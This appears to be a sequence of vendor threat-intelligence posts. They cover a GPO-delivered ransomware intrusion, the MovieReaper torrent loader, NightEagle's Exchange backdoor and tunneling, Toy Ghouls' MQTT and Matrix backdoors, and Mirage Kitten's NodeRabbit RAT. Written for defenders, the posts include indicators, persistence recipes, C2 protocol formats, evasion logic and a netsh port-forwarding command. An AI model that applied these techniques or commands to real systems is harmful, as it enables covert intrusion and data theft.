Privilege Escalation/Defense Impairment T1484.001 — Group Policy Modification Malicious PAYLOAD GPO created and linked at domain root; re-applies on every refresh/reboot; uses trusted channel to evade EDR
Defense Impairment T1686 — Disable or Modify System Firewall win Firewall Off GPO disables Windows Firewall on all profiles
Impact T1491.001 — Internal Defacement Wallpaper and lock screen replaced with ransom image
Impact T1531 — Account Access Removal Local Administrator account disabled via GPO Security Settings
Collection T1005 — Data from Local System Data exfiltration was observed originating from the file servers
Command and Control T1071 — Application Layer Protocol No live C2 confirmed; delivery achieved entirely via GPO

Indicators of compromise

GPOs
PAYLOAD ransomware GPO: {C897F2C7-C2AC-4E6F-BF48-58036FF29E79}
win Firewall Off GPO: {22099AD2-E062-4F56-B574-5099BBA4E7A6}

File names and MD5 hashes
payload.jpg: Ransom wallpaper and lock screen image (SYSVOL)
hello.txt: Ransom note source (SYSVOL)
README-payload.txt: Ransom note dropped to desktops and drive roots
killer.exe (0108656A3E1ADE6CA4F21B084F5E1208): process killer tool
kill.exe (BEA5E267F24D7DA59F6821BFFDBFF293): process killer tool

IP addresses
37.19.210[.]12
146.70.117[.]239
149.102.229[.]154
104.164.55[.]46
104.28.162[.]228
104.28.163[.]162
64.190.76[.]14
192.42.116[.]50
192.42.116[.]12
192.42.116[.]56
192.42.116[.]97
192.42.116[.]52

Registry keys
HKLM\...\Policies\System\legalnoticecaption = Welcome to Payload!

SYSVOL path
\\DC.THECOMPANY.local\sysvol\THECOMPANY.local\payload.jpg

Event IDs
5137: GPO object creation on DC — review creator account
5136: GPO attribute modification — watch gPLink at domain root

  •  

The Odyssey and Trojans again: MovieReaper attacks users in multiple countries through compromised torrents

Introduction

Torrent trackers have long been abused for distributing malicious software, disguised as popular films, games, and other content. Our previous research has shown that cybercriminals repeatedly turn to torrents as an initial infection vector, using trojanized cracks and installers to reach a large number of users. Installation guides for pirated software routinely instruct users to disable their antivirus, conditioning them to ignore the potential threats they are inviting onto their computers.

During our analysis of malware that leverages blockchain networks for its C2 infrastructure, we discovered a previously unknown modular, multi-stage framework that we dubbed MovieReaper. This report details the new crimeware campaign that began with the mass infection of users via compromised torrent tracker file storage. We have identified several hundred victims, including both individual users and organizations in multiple countries, such as Russia, Türkiye, Japan, Kenya, Uganda, and Colombia, as well as in several European countries like Spain, the Netherlands, Belgium, and Germany. We analyze the techniques for evading detection by security and sandbox solutions, and examine the capabilities of the modular framework.

Kaspersky products detect this threat as HEUR:Trojan.Win64.Agent.gen.

Technical details

Background

In mid‑August 2026, during our threat‑hunting efforts, we identified a large‑scale infection campaign involving previously unknown malware disguised as popular movies. The campaign affected both individuals and organizations across multiple countries. Our initial analysis revealed a common denominator: all of the victims had used torrent trackers. This finding prompted us to investigate the campaign further and analyze its distribution mechanism, overall scope, and unknown malware implants.

Initial infection and spread

Compromised torrent trackers are the primary vector used to distribute malware. During our investigation, we identified multiple user reports describing suspicious files being downloaded instead of the intended content.

For example, a user of a popular movie torrent tracker reported the following case on Reddit:

Further analysis of the attack revealed that instead of compromising torrent trackers, the threat actor modified a widely used public repository of torrent files, itorrents[.]org. As a result, the trackers that relied on the repository began inadvertently distributing malicious torrent files to their users. This approach is particularly dangerous because it lets the threat actor reach users of multiple trackers without having to compromise each platform individually.

As of the publication date of this report, the archive remains compromised. When a user attempts to download a torrent via a magnet link, the legitimate torrent archive returns a different torrent file. This malicious torrent leads to the download of the malware loader, used to deploy a framework that we dubbed MovieReaper.

The loader initiates the infection chain shown in the diagram below. Each stage of the chain is described in detail in the following sections.

Malware implants

The infection chain consists of several steps, where only the initial one is dropped on the disk before it is executed to avoid detection. The malware itself is not heavily obfuscated, apart from strings being encrypted with a custom stream cipher. Most of the countermeasures were aimed at avoiding detection by AV sandboxes.

Step 1: Loader

The most popular initial executable was distributed through torrent trackers under many different names (for example, the odyssey (2026) [1080p] [webrip] [5.1].exe), but the file hash (MD5: A0B13781EDD7CFDAB13D79AFFF3C83C1) was identical across all downloads. We have seen multiple different loaders, where the executable file disguises itself with a long filename and an icon of some well-known application. Most of the filenames are rather long, presumably to hide the EXE extension at the end.

After the user manually starts the application, it establishes a global mutex to ensure that only one loader is executed at a time. We have seen several mutex variations in our samples, containing a randomly generated string (in the example Global\fnulSktzSqvVLXHU). This executable then performs a series of operations in order to avoid detection by AV sandbox solutions.

While performing those operations, the malware avoids making LoadLibrary and GetProcAddress calls to acquire the addresses of required functions. Instead, it searches for loaded libraries by traversing the double-linked list taken from the Ldr field of the PEB and then performs manual parsing of the loaded DLL to calculate the function address.

After all initial checks have passed, the binary prepares to establish a network connection to a C2 web server to download the shellcode, map it to the RWX memory and execute. While doing so, the loader decodes the domain name https://deadhub[.]org and if connection to it has failed, it uses the IP address http://193.23.118[.]155 as a fallback and connects to it using plain HTTP. The malware chooses a random group of strings and uses them as a path in the HTTP request to download the parts of the shellcode.

Example URLs:

/cloud/v192.4/ui/sync-status-icons.png
/cloud/v192.4/onboarding/welcome-bg.jpg
/cloud/v192.4/ui/file-preview-placeholder.png
/cloud/v192.4/shared/link-banner.jpg

While mapping the address space and executing the shellcode, the loader registers a vectored exception handler and rewrites the handler address in memory in order to perform a debug break. This, will not crash the program, but instead redirect controlflow to the function that actually makes a raw NtProtectVirtualMemory syscall (via a previously located “0x0F 0x05” syscall instruction inside ntdll). Then it calls the undocumented ntdll function EtwpCreateEtwThread, which is a popular alternative to  CreateThread for code executionm, and executes the shellcode.

Step 2: Shellcode

The second stage of this malware performs an HTTPS request to the Solana blockchain at the endpoint /getAccountInfo endpoint for the account 6pnDGAiHgyPdmckM5Qt1YbanGzrX43WLEU159nRaNLDm. The data in field of the response contains the base64‑encoded address of a second C2, which is encrypted with a static XOR key located within the shellcode itself. To store data in this account, attackers used a simple Solana program (address: CSiY8bQLBYPdfPWkwipBzH6sijTVQVVsA279JQdvwHtL).

Utilizing the Solana blockchain as a storage layer for next-stage C2 endpoints substantially complicates infrastructure takedown efforts by defenders.

The second stage payload communicates with its C2 server strictly through HTTPS via a TLS-pinned certificate using the nanopb protobuf library as a container for transferred data. The main logic of the stage 2 implant contains several initial commands, where the most important is the one that parses the COFF file, loads it into memory, and executes the module_init function from it. This provides a convenient interface for extension of the command list, which brings us to the next stage of the payload.

Step 3: UAC Bypass and persistence

Notably, the recovered modules were compiled with symbols, which accelerated reverse engineering.

After receiving the next stage from the second C2 server, the newly loaded module performs several tasks right in the module_init function.

Stage 3 performs UAC Bypass and achieves persistence using public techniques, masquerades the original binary as C:\ProgramData\Microsoft\Windows\Telemetry\msedge.exe, and restarts itself.

The respawned process starts with the initial loader, but with a special command-line argument, which allows it to skip most of the anti-sandboxing checks and proceed straight to downloading the next payload. The executable proceeds with the same steps as before, but this time, instead of downloading the persistence and UAC bypass module, a new one is downloaded from the second C2 server. This is because the malware uses the beacon to send a flag to the remote server, indicating whether the implant is running from the Telemetry folder, which allows the C2 to distinguish between first-run and respawned instances.

Step 4: The final implant

The final module (“file manager”) exposes 21 commands that give the operator filesystem access on the victim host. This allows remote the operator to download, upload, and read files on the system; list and enumerate directories; manipulate files with create, copy, rename, move, delete, chmod, and symlink commands; and use preview and thumbnail commands to exfiltrate previews of images and files before actually extracting them.

We suspect that other modules may be loaded on demand if requested by the operator.

Infrastructure

During this malware campaign, attackers are using various commercial hosting providers for their C2 infrastructure (see the IoC section for details). Furthermore, as noted above, the campaign leverages the legitimate Solana blockchain via the RPC endpoint api.mainnet.solana.com to deliver the address of the second‑stage C2 server to the malware. This approach provides the attackers with decentralized storage for C2 addresses, adding an additional layer of resilience and making it more difficult for defenders to disrupt the campaign by simply blocking the IP addresses of the C2 servers.

Victims

The observed campaign targeted both individuals and organizations across Europe, Asia, Africa, and Latin America, with infection attempts identified in Russia, Spain, Germany, Finland, Türkiye, Japan, Nepal, Kenya, Tanzania, Ghana, Uganda, Colombia, the Netherlands, Belgium, and other countries. The targeted organizations span a wide range of sectors, including enterprise, government, IT, consulting, retail, transportation, and agriculture.

Conclusions

Our research uncovered activity by the same actor dating back to October 2025. Although the campaign has evolved over time, with the malware authors expanding their arsenal and making the loader harder to detect, the pattern remains the same. This includes encoded strings, parts of shellcode downloaded through plain HTTP, and several techniques used to avoid sandboxes and virtual machines. We will continue monitoring this actor’s activity to catch new potential threats.

The first stage offers the clearest opportunity to disrupt this campaign: it relies on a single specific domain name and a single IP address to serve the shellcode, so taking down this server would prevent subsequent infection stages. This includes the second-stage payload, which uses the Solana blockchain network for a C2 and is therefore more resistant to conventional infrastructure takedowns.

However, this framework’s self-containment, modularity and in-memory execution has potential for reuse in later campaigns with minimal rework.

Indicators of compromise

File hashes

4334BBAEA8DE33BF9D45E9B4E4E3BC2
4843F9FAFCAE492F11E2D4D33DBB4CDD
5310CABAE3FBE6DB8742849B588093F9
A0B13781EDD7CFDAB13D79AFFF3C83C1
70060341CAF3338697A7DDFE0FB62875
AD4643EEA15AC286FA47D1131F9EF756
D0B967571AC8A3863C7F324BF5BDE99C
D88D550D0FB8E60CFFFF3EA61FF7A067

File paths

%ProgramData%\Microsoft\Windows\Telemetry\msedge.exe

Mutexes

Global\E4AyDKzvEhe2hgAr
Global\fnulSktzSqvVLXHU

Domains and IPs

First-stage C2:
deadhub[.]org
193.23.118[.]155

Second-stage C2:
208.64.33[.]90
208.94.246[.]53

  •  

NightEagle targets Russian companies

Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.

Initial access

In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.

GhostContainer on Microsoft Exchange

Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.

We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.

The backdoor is a .NET assembly containing three classes that implement its core functionality:

  • Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
  • App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
  • App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.

Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.

GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis

GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis

Traffic redirection

Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.

The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:

  • https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/js-webpack.zip
  • https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/jsonp-pack.zip
  • https://github[.]com/browserthemes/resourcepack/releases/download/main/resource-pack.zip
One of the repositories used for storing network tools

One of the repositories used for storing network tools

The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:

  • adobe_32.exe;
  • AdobeSync.exe;
  • trueconf.exe;
  • 1cbroker.exe;
  • 1c-office-plugin.exe;
  • trueconf-broker.exe.

Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.

  1. Microsoft dev tunnels
    This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.

    Execution graph of adobe_32.exe in Kaspersky Research Sandbox

    Execution graph of adobe_32.exe in Kaspersky Research Sandbox

  2. rdp2tcp
    This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attacker’s side.

    When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.

    When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.

    Creation event for a channel named rdp2tcp (server component startup)

    Creation event for a channel named rdp2tcp (server component startup)

The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.

The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:

netsh interface portproxy add v4tov4 listenport=443 connectaddress=10.0.12.101 connectport=445

Lateral movement

To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.

In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.

Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit

Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit

The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.

Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victim’s entire Active Directory infrastructure.

Takeaways

To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the group’s efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagle’s presence on the network.

Detection by Kaspersky solutions

Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kaspersky’s collection.

The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:

Backdoor analysis with KTAE

Backdoor analysis with KTAE

However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.

This malicious activity is detected by the following rules, available in the repository:

Process tree in KEDR Expert

Process tree in KEDR Expert

Kaspersky Anti Targeted Attack (KATA) detects this malicious activity in network traffic. For example, the Exploit.CVE-2019-0708.TCP.C&C signature allows detecting attempts to exploit the CVE-2019-0708 (BlueKeep) vulnerability.

Alert card for the BlueKeep vulnerability exploitation

Alert card for the BlueKeep vulnerability exploitation

Beyond this activity, KATA also detects other NightEagle actions in network traffic, such as the following:

  • Traffic redirection and tunneling variations
  • Attacks on Active Directory (DCSync, attempts to compromise AD CS, and others)
  • Lateral movement across the network

Indicators of compromise

1dcafb7f8448683281106b06dd22409a AdobeSync.exe
1f3034b706c78b35d8e34044e68c693a adobe_32.exe
3ecd1cd627d0340c92901a478a7caad8
631fb131a56caf4ca0f287ed73e876ab
App_Web_Container_1.dll
4aa9fb1bf9223dfcdac920759bc7a3c7 1c-office-plugin.exe, 1cbroker.exe, trueconf.exe
https://github[.]com/mirror-js/mirror-js
https://github[.]com/browserthemes/resourcepack

  •  

Angry Birds: Toy Ghouls’ new toys

Introduction

We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.

We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:

  • mqtt-bird-agent 0.1.0 (HiveMQ version)
  • matrix-bird-agent 0.1.0 (Element version)

This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.

Technical details

Delivery

In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.

Installation

The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.

Other launch options are listed in the backdoor’s help output:

C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]

Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version

HiveMQ version backdoor help output

In the Element version, the backdoor help output looks as follows:

C:\wtass.exe -h
Matrix monitoring agent

Usage: wtass.exe [OPTIONS] [COMMAND]

Commands:
  install    Register this agent with the Matrix homeserver and panel
  uninstall  Remove this agent's service and credentials
  service    Run as a Windows service (internal)
  help       Print this message or the help of the given subcommand(s)

Options:
  -c, --config <CONFIG>
  -h, --help             Print help
  -V, --version          Print version

Element version backdoor help output

By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.

The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.

If the configuration cannot be decrypted, the backdoor stops running.

Encrypted configuration files look as follows:

Encrypted backdoor configuration file, HiveMQ version

Encrypted backdoor configuration file, HiveMQ version

The encrypted portion of the HiveMQ version’s configuration contains the following parameters:

  • agent_privkey: the agent’s private key
  • channel_id: the channel identifier used to communicate with the broker
  • server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version's configuration

Decrypted blob field in the HiveMQ version’s configuration

In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.

Decrypted Element version configuration file, retrieved from the registry

Decrypted Element version configuration file, retrieved from the registry

The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.

Communication

At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.

The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.

  • Once a connection is established, the system’s status is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/status. The message format is: {"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
  • At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is: {cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
  • The backdoor sends GET requests to broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format: {"cmd_id":int,"command":"str","timeout_secs":int}.
  • Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
  • Command execution results are sent to the command server at broker.hivemq.com:8883/[cluster_id]/cmd/res in the {"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.

For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:

  • Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
  • At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version: {cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
  • This version of the backdoor supports two types of commands, distinguished by the start of the received message.
    • To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
    • Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
  • Received commands are executed via the Windows command line interface.
  • Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.

Takeaways

We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.

Indicators of compromise

Kaspersky security solution verdicts:

  • HEUR:Backdoor.Win64.Suptoml.gen
  • HEUR:Trojan.Script.Zapchast.conf
  • Backdoor.Win64.Agent.smgdvy
  • Trojan.Script.Zapchast.abwm
  • Trojan.Win64.Agent.smgsfo
  • Trojan.Script.Zapchast.abwo

File names and MD5 hashes:

Registry keys:

  • HKLM\Software\synapse\Config\SealedConfig
  • HKLM\Software\SynapseAgent\metrics_interval

Service names:

  • cplsupport (Problem Reports Control Panel)
  • wtas (Windows Telemetry Aggregator Service)

Domain names:

  • meet.element[.]tw
  • broker.hivemq.com (a legitimate resource used by cybercriminals)
  • ip-api.com (a legitimate resource used by cybercriminals)

  •  

Mirage Kitten targeting aviation and FinTech sectors across the Middle East and Africa with a new malware set

While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.

NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.

During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.

Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.

Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*

Background

During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.

The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip

It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.

README file for a trojanized coding challenge app

README file for a trojanized coding challenge app

The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.

Rules and time limit included in the trojanized coding challenge app README file

Rules and time limit included in the trojanized coding challenge app README file

The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.

Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.

The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.

Initial access

The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.

The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.

NodeRabbit RAT: the first variant

We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.

Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.

NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.

NodeRabbit uses a persistence mechanism for each operating system:

Operating system Persistence mechanism
Windows Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.

The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:

1.	https://plugplay.azurewebsites[.]net
2.	https://Rgbteller.azurewebsites[.]net
3.	https://Wslwebui.azurewebsites[.]net

Method Endpoint Purpose
POST /api/rabbit/checkin Register agent and host info
POST /api/rabbit/task Poll for commands
POST /api/rabbit/result Submit results

NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:

The malware sends encrypted requests using the following structure:

{
  "d": "base64(IV || ciphertext || authentication_tag)",
  "_r": "8 hexadecimal characters",
  "_t": "epoch timestamp"
}

C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:

Command Functionality
sys:info Return hostname, domain user information, username, and process ID.
proc:list List running processes.
proc:start Execute an arbitrary shell command.
fs:list List a directory.
fs:read Read a file in chunks and return Base64 data.
fs:write Decode Base64 and write it at a chosen file offset.
fs:delete Delete a file or recursively delete a directory.
fs:mkdir Create directories recursively.
net:config Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep Change the beacon interval.
script:exec Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.

NodeRabbit RAT: the second variant

Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.

Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.

Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.

Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.

To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).

